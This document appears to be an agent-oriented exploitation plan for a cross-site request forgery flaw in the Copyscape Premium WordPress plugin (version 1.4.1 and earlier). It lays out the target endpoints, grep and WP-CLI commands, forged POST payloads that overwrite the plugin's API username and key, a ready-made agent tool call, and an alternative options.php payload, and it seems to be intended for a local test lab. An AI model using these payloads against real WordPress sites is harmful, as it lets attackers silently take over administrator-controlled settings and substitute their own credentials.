Copyscape Premium <= 1.4.1 - Cross-Site Request Forgery

This plan outlines the steps to research and exploit a Cross-Site Request Forgery (CSRF) vulnerability in the Copyscape Premium plugin (<= 1.4.1).

1. Vulnerability Summary

The Copyscape Premium plugin fails to implement or correctly verify WordPress nonces in its settings management logic. This allows an unauthenticated attacker to craft a malicious request that, if executed by a logged-in administrator (e.g., via a phishing link), can modify the plugin's configuration, such as API credentials or service settings.

2. Attack Vector Analysis

• Target Endpoint: Likely the admin settings page handler. This usually involves wp-admin/options-general.php (if using the Settings API) or a custom admin page handler at wp-admin/admin.php.
• Vulnerable Action: The code path triggered when saving plugin settings (Username, API Key, etc.).
• HTTP Method: POST.
• Authentication: Requires a victim with manage_options capabilities (Administrator).
• Preconditions: The attacker must know the parameter names used by the plugin to store settings.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an admin menu via add_options_page() or add_menu_page().
2. Hook: A handler function is likely hooked to admin_init or used as the callback in the menu registration.
3. Processing:
   • The handler checks if $_POST['submit'] (or a similar key) is set.
   • It checks user capabilities using current_user_can('manage_options').
   • Vulnerability: It fails to call check_admin_referer() or wp_verify_nonce() to validate the request origin.
4. Sink: The settings are saved using update_option().

4. Nonce Acquisition Strategy

Because the vulnerability is missing or incorrect nonce validation, a valid nonce is not required to perform the exploit. The goal is to demonstrate that the request succeeds even when the _wpnonce parameter is omitted or set to an invalid value.

Verification of Absence:

1. Navigate to the plugin settings page: browser_navigate("/wp-admin/options-general.php?page=copyscape-premium") (Verify the exact slug via wp-cli).
2. Use browser_eval to check for the presence of a nonce field in the form: browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value").
3. If a nonce exists but is not validated, the exploit will still work by providing a random string.

5. Exploitation Strategy

Step 1: Discover Target Parameters

Search the plugin code for the settings keys:

grep -r "update_option" /var/www/html/wp-content/plugins/copyscape-premium/

Look for keys like copyscape_username, copyscape_api_key, or copyscape_settings.

Step 2: Formulate the CSRF Request

Based on common WordPress patterns, the exploit will target the settings page.

Request Details:

• URL: http://localhost:8080/wp-admin/admin.php?page=copyscape-premium (slug to be confirmed)
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Payload (Inferred):

  copyscape_username=attacker_user&copyscape_api_key=MALICIOUS_KEY&submit=Save+Changes
  

Step 3: Execution via Agent

The agent will simulate the CSRF by sending a cross-origin-style POST request while the admin session is active.

// Example using http_request tool
{
    "url": "http://localhost:8080/wp-admin/admin.php?page=copyscape-premium",
    "method": "POST",
    "headers": {
        "Content-Type": "application/x-www-form-urlencoded"
    },
    "body": "copyscape_username=hacked&copyscape_api_key=hacked_key&submit=Save+Changes"
}

6. Test Data Setup

1. Install Plugin: Ensure Copyscape Premium version 1.4.1 is installed and active.
2. Initial State: Configure the plugin with legitimate-looking dummy data.

   wp option update copyscape_username "legit_user"
   wp option update copyscape_api_key "legit_key_12345"
   

3. Admin Login: The agent must ensure an admin session is active in the browser context.

7. Expected Results

• The server should return a 302 Found redirecting back to the settings page with a success message (e.g., &settings-updated=true).
• The database options for the plugin should be updated to the attacker's values.
• No "Are you sure you want to do this?" (WordPress default CSRF failure page) should appear.

8. Verification Steps

After the http_request is sent:

1. Check Options: Use WP-CLI to verify the change.

   wp option get copyscape_username
   wp option get copyscape_api_key
   

2. Confirm Success: If the values match hacked and hacked_key, the CSRF is confirmed.

9. Alternative Approaches

If the settings are not handled via a custom page but via the standard options.php handler:

• Target URL: http://localhost:8080/wp-admin/options.php
• Payload:

  option_page=copyscape_settings_group&action=update&copyscape_username=hacked&copyscape_api_key=hacked_key
  

• Audit Step: Check register_setting() calls in the plugin source to find the option_group name.